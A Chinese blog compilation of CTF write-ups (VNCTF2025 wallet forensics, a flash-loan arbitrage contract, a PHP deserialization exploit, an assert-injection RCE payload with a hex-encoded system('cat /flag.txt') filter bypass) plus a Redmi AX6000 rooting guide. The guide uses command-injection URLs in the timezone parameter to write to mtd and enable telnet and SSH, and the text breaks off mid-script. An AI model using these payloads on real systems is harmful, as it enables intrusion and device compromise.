附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。

你应该从手机镜像中取证找回数字钱包。

附件中gift文件夹的内容不是解题所必需的。

FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .

赛中自己做

一开始我去找了手机的文件,想着能不能找到助记词或者私钥,但是找不到,题目又说英语不好将助记词导入,于是我想着社会工程学,看看键盘的记录,结果就找到了这12个可能为助记词的单词

具体做法是:切换到英文键盘,开启单词匹配,然后按下首字母,以此选择排在前面的且看起来像是助记词的单词,我知道这很不靠谱但我确实是这么做的,还真的拿出来了12个,是助记词的经典数目

1
ramp ranch twenty you only space define fashion high laundry carpet muscle

因为助记词的顺序会影响钱包地址,于是写了个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import itertools
from mnemonic import Mnemonic
from eth_account import Account
from eth_utils.exceptions import ValidationError
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed

# 启用HD钱包功能
Account.enable_unaudited_hdwallet_features()

# 给定的12个助记词
mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle".split()

# 目标地址
target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9'

# 初始化助记词处理工具
mnemo = Mnemonic('english')

# 函数:生成钱包地址
def generate_address_from_mnemonic(mnemonic_words):
try:
mnemonic_phrase = ' '.join(mnemonic_words)
# 验证助记词是否有效
if not mnemo.check(mnemonic_phrase):
return None
seed = mnemo.to_seed(mnemonic_phrase, passphrase="")
# 使用EthAccount生成钱包
acct = Account.from_mnemonic(mnemonic_phrase)
return acct.address.lower()
except ValidationError:
return None

# 处理每个排列组合
def process_permutation(perm):
address = generate_address_from_mnemonic(perm)
if address == target_address:
return perm
return None

# 使用线程池执行多线程任务
with ThreadPoolExecutor() as executor:
# 创建tqdm进度条
progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations", total=12*11*10*9*8*7*6*5*4*3*2*1)

# 提交任务并处理结果
for perm in progress_bar:
future = executor.submit(process_permutation, perm)
result = future.result()
progress_bar.update(1)
if result:
print(f"Found correct sequence: {result}")
break
else:
print("No matching address found.")

然后就发现问题了:这样组合起来有479001600种组合,完全不够时间来爆破,而且这12个助记词不保证对,那没办法了,放在kaggle上面爆破然后我做别的去了

赛后复现

根据官方的wp,找搜狗输入法的方向是正确的,但是就像我上面说的,不确定性太大了

搜狗输入法的词库确实是按照我在比赛时看到的那样,保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict里面,而我在winhex里面看到的跟我用string提取的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin
SGCM(
SGCP(
SGHW(
SGKC$
SGLB(
SGPA(
SGPF(
SGTG(
SGQG(
SGBU(
SGMU(
SGPU(
SGBG(
SGAU(
SGAB(
SLDA(
SGNU(

这样子看不出来任何东西,而官方wp加入了--encoding=b

Deepseek: --encoding=b 表示让 strings 工具以 16位大端(Big-Endian)编码 扫描二进制文件中的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

就能够看到助记词,而且有确切的顺序,导入进去就有钱包了

所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda}

找搜狗输入法的方向是对的,只不过不能在winhex里面查看词库要用strings提取

[MISC] Something for nothing(未出)

今天我们隆重推出VNB和WMB!嗯…好像交易所的实现有不太对的地方?

稍加利用也许能拿到怪东西?

做这题的时候我已经学了一点点(真的是一点点)的合约了,提示里面给到“三角套利”,但是理财不是我的强项

于是在Deepseek的帮助下,有了这样的攻击步骤

  1. 触发闪电贷:在attack函数中,通过调用flashLoan借入5000 USDT。
  2. 执行套利操作:在executeOperation回调函数中:
    • USDT→VNB:在池0(USDT-VNB)中将借入的USDT兑换为VNB。
    • VNB→WMB:在池1(VNB-WMB)中将获得的VNB兑换为WMB。
    • WMB→USDT:在池2(USDT-WMB)中将获得的WMB兑换回USDT。
  3. 转移利润:计算利润并将USDT利润转至profitReceiver
  4. 归还贷款:确保剩余的USDT足够偿还闪电贷,并授权DEX取回。

关键点:

  • 手续费漏洞:DEX的getAmountOut函数错误地将amountIn乘以1000而非扣除手续费,导致无手续费交易,使得套利成为可能。
  • 三角套利路径:利用三个流动性池的价格差异,通过三次交换实现无风险利润。
  • 闪电贷机制:通过闪电贷借入大量资金放大利润,并在同一交易中完成所有操作,确保原子性。

于是它给了我下面的合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// 借入5000 USDT进行攻击
uint256 loanAmount = 5000 ether;
ISimpleDEX(dex).flashLoan(loanAmount, token0);
}

function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Invalid token");

// 授权DEX使用借入的USDT
IIERC20(token0).approve(dex, amount);

// 在池0中将USDT兑换为VNB
ISimpleDEX(dex).swap(0, amount, true);

// 在池1中将VNB兑换为WMB
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 在池2中将WMB兑换为USDT
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, false);

// 将利润转给profitReceiver
uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
require(currentBalance >= amount, "无法偿还贷款");
uint256 profit = currentBalance - amount;
IIERC20(token0).transfer(profitReceiver, profit);

// 授权DEX取回贷款
IIERC20(token0).approve(dex, amount);
}
}

但问题是,我放到题目里面以后,它不跑啊……

我还是把各种AI给的合约放在这个下面吧

Deepseek R1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// 借入5000 USDT进行攻击
uint256 loanAmount = 5000 ether;
ISimpleDEX(dex).flashLoan(loanAmount, token0);
}

function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Invalid token");

// 授权DEX使用借入的USDT
IIERC20(token0).approve(dex, amount);

// 在池0中将USDT兑换为VNB
ISimpleDEX(dex).swap(0, amount, true);

// 在池1中将VNB兑换为WMB
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 在池2中将WMB兑换为USDT
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, false);

// 将利润转给profitReceiver
uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
require(currentBalance >= amount, "无法偿还贷款");
uint256 profit = currentBalance - amount;
IIERC20(token0).transfer(profitReceiver, profit);

// 授权DEX取回贷款
IIERC20(token0).approve(dex, amount);
}
}

Gemini 2.0 Pro 02-05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;
uint256 public loanAmount;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
external
{
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;
loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount

ISimpleDEX(dex).flashLoan(loanAmount, token0);
}
function executeOperation(uint256 amount, address token) external{
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Wrong token");
require(amount == loanAmount, "Wrong Amount");

IIERC20(token0).approve(dex, loanAmount);
// 1. Swap USDT for VNB (ammIndex 0)
ISimpleDEX(dex).swap(0, amount, true);

// 2. Swap VNB for WMB (ammIndex 1)
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 3. Swap WMB for USDT (ammIndex 2)
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, true);

// Transfer profit to profitReceiver
uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount;
IIERC20(token0).transfer(profitReceiver, profit);

}
}

ChatGPT 4o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address token0;
address token1;
address token2;
address dex;
address profitReceiver;

uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable)

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
external
{
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// Step 1: Flash loan from SimpleDEX (borrow USDT)
ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT
}

// This function is called by the SimpleDEX during flash loan callback
function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");

// Step 2: Perform triangular arbitrage
// 1. Swap USDT (token0) to VNB (token1)
uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB
uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received
ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB

// 2. Swap VNB (token1) to WMB (token2)
uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB
uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received
ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB

// 3. Swap WMB (token2) to USDT (token0)
uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT
uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received
ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT

// Step 3: Repay the flash loan
require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan");
IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan

// Step 4: Check if profit was made
uint256 profit = IIERC20(token).balanceOf(profitReceiver);
require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made
}
}

[PWN] FileSys(未出)

You only have one chance to edit

题目给了一个bzImage、一个rootfs.cpio、一个boot.sh,用qemu启动试试

1
2
3
4
5
6
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "root=/dev/ram console=ttyS0" \
-nographic \
-m 512M

启动确实是成功了,但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥

反倒是在用winhex翻文件的时候,在根目录有flag.txt写着VNCTF{inkey}

[MISC] ezSignal(未出)

你也热爱信号吗?

本题附件下载地址:下载链接

题目给了一个压缩包,解压出来一张图,binwalk出来另一个压缩包,里面是flag.txt(180+ MB),里面看不懂啊~

图片的描述里面,照相机序列号有key:VN2025CTF(下图是旧附件flag.txt)

后面说这题有问题,附件更新了,新附件337MB(之前那个才几MB),新附件把flag分成两部分了

1
2
3
4
5
6
7
8
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 500 x 500, 8-bit/color RGB, non-interlaced
91 0x5B Zlib compressed data, compressed
6026 0x178A Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt
176360381 0xA830BBD Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt
354325610 0x151E946A End of Zip archive, footer length: 22

题目给了提示

  • 请仔细研究题目附件压缩包的文件结构
  • GRC流程图是 窄带FM调制+XOR

然而还是做不出来

🔲 ☆

2024年 GDUTCTF 个人WriteUp

日志分析

近日xxa集团的某终端遭到DNS劫持的恶意攻击,导致大量的服务器、应用、个人终端都无法正常的访问,请找出被劫持的服务器IP

打开后在Wireshark里面过滤器填写dns,过滤所有的DNS请求

然后随便拉一下就发现,有对外网DNS服务器进行查询的操作,这个IP是61.7.12.5,所以答案为flag{61.7.12.5}

RSA

yafu

题目说了用yafu,咱就上yafu呗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> .\yafu-x64.exe "factor(5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021)"                                                                                                                 

fac: factoring 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C319
rho: x^2 + 2, starting 1000 iterations on C319
rho: x^2 + 1, starting 1000 iterations on C319
pm1: starting B1 = 150K, B2 = gmp-ecm default on C319
ecm: 0/30 curves on C319, B1=2K, B2=gmp-ecm default
Total factoring time = 6.6378 seconds


***factors found***

P11 = 55307187311
P309 = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

ans = 1

得到了因数55307187311103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611,再写RSA解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from sympy import mod_inverse

n = 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
e = 65537
c = 984765936167568915783737736704322867611565848218162635654661946159274680387765479436495629732147881246546457348407235796531559724831194942893739549488239267819251236343133592127393904508787113965976179961040457169804920173316042295428577459093103897018392603409275993459118346734697394691845258237102468061273125331821
p = 55307187311
q = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

print(p * q == n)

# 计算私钥 d
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)

# 解密
m = pow(c, d, n)

# 输出解密结果
print("解密后的消息:", m)
decoded_message = bytearray.fromhex(hex(m)[2:]).decode()
print(decoded_message)

结果

1
2
3
4
PS C:\Users\HelloCTF_OS\Desktop\GDUTCTF> python .\RSA\dec.py 
True
解密后的消息: 56006392793427444397469159507968818734487760249840566044504304603998891915995068783011778052460000893
flag{a878b5d5-4118-4402-a1d0-599c47ecbab6}

serialize

上来给了PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
class Handle{
private $handle;

public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

if (isset($_GET['exp'])) {
unserialize($_GET['exp']);
} else {
show_source(__FILE__);
}

搜到原题:2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)_justsoso ctf-CSDN博客

构造payload

1
http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

发现没有回显,于是尝试访问flag.txt,就出来了

1
http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag.txt%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

ezrce

上来给了源码

1
2
3
4
5
6
7
8
<?php 
highlight_file(__FILE__);
if (isset($_POST['data'])){
$data = $_POST['data'];
if (!preg_match('/flag|cat|\?|\*|&|\||nl|tac|system|exec|\`|head|tail/i', $data)){
assert("strpos('$data', 'data') === true");
}
}

好,知识盲区,没做过带assert的,去质问ChatGPT o1,告诉我是assert截断类题目;我告诉它需要读取flag.txt(因为上面那个序列化是flag.txt),然后给了我payload

1
data=hello')%20or%20print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

让GPT来给我解释吧(躺平)

URL 解码后的 Payload

首先,将 URL 编码的部分 %20(代表空格)进行解码,完整的 data 参数值如下:

1
data=hello') or print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

Payload 结构解析

该 Payload 利用 PHP 的 assert 函数进行代码注入,以执行系统命令 cat /flag.txt,从而读取 flag.txt 文件的内容。以下是对 Payload 各部分的详细解释:

hello')

1
hello')
  • 作用:这部分结束了 strpos 函数的第一个参数字符串。原始 PHP 代码中的 assert 调用如下:

    1
    assert("strpos('$data', 'data') === true");

    $data 被替换为 hello') or print(assert("..."));// 时,整个 assert 语句变为:

    1
    assert("strpos('hello') or print(assert("..."));//', 'data') === true");

    这里,hello') 关闭了 strpos 的第一个参数字符串,使得后续的 or print(assert("..."));// 成为新的 PHP 代码执行部分。

or print(assert("..."));//

1
or print(assert("..."));//
  • 作用

    • or:逻辑操作符。如果左侧表达式为 false,则执行右侧表达式。
    • print(assert("...")):执行 assert 函数,并将其返回值打印出来。
    • //:注释符,用于注释掉后续的代码,防止语法错误。

"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"

1
"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"
  • 作用:使用十六进制转义序列表示字符串,以绕过正则表达式过滤。具体解析如下:

    • \x73\x79\x73\x74\x65\x6D:对应 ASCII 字符串 system
    • \x63\x61\x74:对应 ASCII 字符串 cat
    • \x20:对应空格``
    • \x2F:对应 /
    • \x66\x6C\x61\x67:对应 flag
    • \x2E:对应 .
    • \x74\x78\x74:对应 txt
  • 解码后的字符串

    1
    system('cat /flag.txt')

完整的注入后的 assert 代码

将上述部分组合起来,注入后的 assert 调用如下:

1
assert("strpos('hello') or print(assert("system('cat /flag.txt')"));//', 'data') === true");

执行流程分析

  1. strpos('hello')
    • strpos 函数通常需要至少两个参数(需要查找的字符串和查找的子字符串)。在这里,只有一个参数 'hello',这会导致 PHP 报告一个警告或错误,因为参数不足。
  2. or print(assert("system('cat /flag.txt')"))
    • 由于 strpos('hello') 的返回值为 false(因为查找失败或参数错误),逻辑操作符 or 会执行右侧的表达式。
    • print(assert("system('cat /flag.txt')")) 会执行 system('cat /flag.txt'),试图读取 /flag.txt 文件的内容,并将其输出。
  3. //
    • 注释掉后续的代码,防止语法错误或干扰注入效果。

然后丢进去就出来了

🔲 ☆

从零开始!在红米AX6000路由器上刷入Openwrt

在我前两天搞定TPLINK后,近期跟我聊到路由器的同学买了个红米的AX6000,想自己刷,发现自己搞不定了求助于我,于是我们一起刷这台路由器,就有了这篇教程

准备工作

首先得把小米路由器的系统降级,这位同学拿过来的时候,他降级到了1.0.60,所以降级过程就没有什么教程啦,可以去网上找找旧版的包,然后直接通过路由器管理面板的升级部分刷就行了

打开Telnet(路由器的开发者模式)

我们降级好路由器后,先要打开telnet,才能打开SSH,打开telnet的过程不要联网!!!

实测联网会打不开telnet

首先我们要登录进路由器的管理面板,在管理面板的地址栏中有我们需要的stok,例如http://192.168.31.1/cgi-bin/luci/;stok=71871cc803318e6f85e9c73d2ed7736c,这个stok=后面的内容就是我们需要的stok,我们复制下来,替换掉下面链接中的{stok},并复制到浏览器访问(访问的结果统一会显示{code: 0},四次访问都是,不再赘述,我使用的是curl)

http://192.168.31.1/cgi-bin/luci/;stok={stok}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20

http://192.168.31.1/cgi-bin/luci/;stok={stok}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

访问了以后路由器会重启,重启完了以后,我们再登录到路由器管理面板,此时stok会改变,我们复制新的stok,替换下面链接中的{stok},然后丢到浏览器访问

http://192.168.31.1/cgi-bin/luci/;stok={stok}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20

此链接跟第二条一样,都是重启用的

http://192.168.31.1/cgi-bin/luci/;stok={stok}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

我们打开一个能够支持telnet连接的软件,用户名和密码都是空,就可以连接进去了

自动化脚本

于是我随手撸了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import httpx

host = "http://192.168.31.1"

# First time
stok = input("请输入第一次的stok: ")

BASE = host + "/cgi-bin/luci/;stok="

MTD_WRITE_ROUTE = "/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20"
REBOOT_ROUTE = "/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20"
ENABLE_TALNET_ROUTE = "/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20"

response = httpx.get(BASE + stok + MTD_WRITE_ROUTE)
print(response.json())
response = httpx.get(BASE + stok + REBOOT_ROUTE)
print(response.json())

# Second time
stok = input("请输入第二次的stok: ")
response = httpx.get(BASE + stok + ENABLE_TALNET_ROUTE)
print(response.json())
response = httpx.get(BASE + stok + REBOOT_ROUTE)
print(response.json())

打开SSH

打开任意telnet客户端通过telnet连接后,我们需要打开SSH

设置root密码

通过下面的命令可以设置root的密码为admin

1
$ echo -e 'admin\nadmin' | passwd root

其实就是运行passwd root,然后输入了两次admin而已,你也可以自己改

打开SSH

接着我们运行下面的命令打开SSH

1
2
3
4
5
6
7
8
9
bdata set boot_wait=on
bdata commit
nvram set ssh_en=1
nvram set telnet_en=1
nvram set uart_en=1
nvram set boot_wait=on
nvram commit
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
/etc/init.d/dropbear restart

输入后是不会有任何输出的,此时SSH就已经打开了

设置SSH开机自动启动

接着我们要设置开机开启SSH,要不然重启一下就没了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
mkdir -p /data/auto_ssh && cd /data/auto_ssh

cat <<EOF > auto_ssh.sh
#!/bin/sh

auto_ssh_dir="/data/auto_ssh"
host_key="/etc/dropbear/dropbear_rsa_host_key"
host_key_bk="${auto_ssh_dir}/dropbear_rsa_host_key"

unlock() {
# Restore the host key.
[ -f \$host_key_bk ] && ln -sf \$host_key_bk \$host_key

# Enable telnet, ssh, uart and boot_wait.
[ "\$(nvram get telnet_en)" = 0 ] && nvram set telnet_en=1 && nvram commit
[ "\$(nvram get ssh_en)" = 0 ] && nvram set ssh_en=1 && nvram commit
[ "\$(nvram get uart_en)" = 0 ] && nvram set uart_en=1 && nvram commit
[ "\$(nvram get boot_wait)" = "off" ] && nvram set boot_wait=on && nvram commit

[ "\$(uci -c /usr/share/xiaoqiang get xiaoqiang_version.version.CHANNEL)" != 'stable' ] && {
uci -c /usr/share/xiaoqiang set xiaoqiang_version.version.CHANNEL='stable'
uci -c /usr/share/xiaoqiang commit xiaoqiang_version.version 2>/dev/null
}

channel=\$(/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL)
